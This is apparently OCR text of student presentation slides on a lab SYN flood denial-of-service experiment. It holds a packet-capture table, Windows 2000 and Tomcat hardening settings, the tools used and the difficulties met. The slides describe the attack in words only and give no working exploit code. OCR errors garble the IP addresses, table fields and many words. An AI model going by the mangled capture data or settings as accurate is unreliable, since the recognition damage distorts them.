7 192,1658.0.104 7 255.255.255.255 u} 1 Pasz= u} bootpc,bootps
7 Fed0::boaF2333:09... 7 FFOZ::0001 ;0003 u} z Pasz= u} 49555,5555
7 192,165.0,104 7o224.0.0.252 u} 2 Pasz= u} 49666,5555
7 o192.1658.0.104 7 192,168.0,255 n] 34 Pass u] nethins-ns 3,
7 192.1658.0,100 E=5 195.32.64.12 u] 3 Pass u] 2216,domain
7 192.1658.0,100 ® 202,12.27.33 n] 1 Pass u] 2216,domain
7 192.168.0,100 7 192,.168.0,255 n] 3 Pass o nethins-ns
7 192.1658.0,100 &S 128.9.0.107 a 4 Pass u] 2222 ,domain, 2225
7 192.1658.0,100 E= 192,36.148.17 a =] Pass u] 2222 ,domain, 2225
7 192,168.0,105 7 192.168.0,104 7 15 In u} 1)
7 192,165,0,105 F239,255,255,250 u} 12 Zk u} 1900 =3
7 192,165,0,100 &S 192,203,230, 10 u} 4 Pasz= u} 2224, domain
7 192,165,0,100 Bl 155,95.192.1 u} 3 Pasz= u} 2224, domain

< | >

Capture: On Pkts: 1364717 in # 452082 out / 7161 paszs Auto-zaving: OFf Rules: Off Alarmns: OFF @‘Z CPU US-EIQ_E::)

Figure 21: High CPU sage by the target during DoS attack
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Detensive technique

O Increasing the length of the queues
O Reducing a time out value

O SYN cookies
O Built-in protection mechanisms (Win2000)

= Windows 2000 parameters

SynAttackProtect <- 2
(H KLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters)

TcpMaxHalfOpen <- 100
TcpMaxHalfOpenRetried <- 80

= Increasing the backlog queue
EnableDynamicBacklog <- 1
MinimumDynamicBacklog <- 20
MaximumDynamicBacklog <- 20000
DynamicBacklogGrowthDelta <- 10
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Defensive technique...cont’d

= Apache Tomcat server v5.x

o Server parameters for port 8080
= acceptCount <- 100
= connectionTimeout <- 20000
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Experimental ditficulties

O

O O O O 0O

Choosing the right Operating System
= Highly protected against SYN flooding attack

» Incompatibility of WinPcap and Engage Packet builder with
Vista

= Difficulties with Windows OS configuration

Similar hardware configuration

= Attacking machine should have higher speed than the target
machine.

Lack of sufficient tools for windows platform

Insufficient documentation for free tools

Lack of sufficient hardwares

Engage Packet builder crashed the system several times
Spent lot of times finding the correct tools
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Conclusions

O Vulnerabilities of TCP protocol
O Experimenting the attack

O Usage of different tools
= Engage Packet builder
= CommView
= Wireshark
= Nmap
= Netstat
O Attacking and recognizing procedure

O Deffensive technigues
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The End

Questions ?
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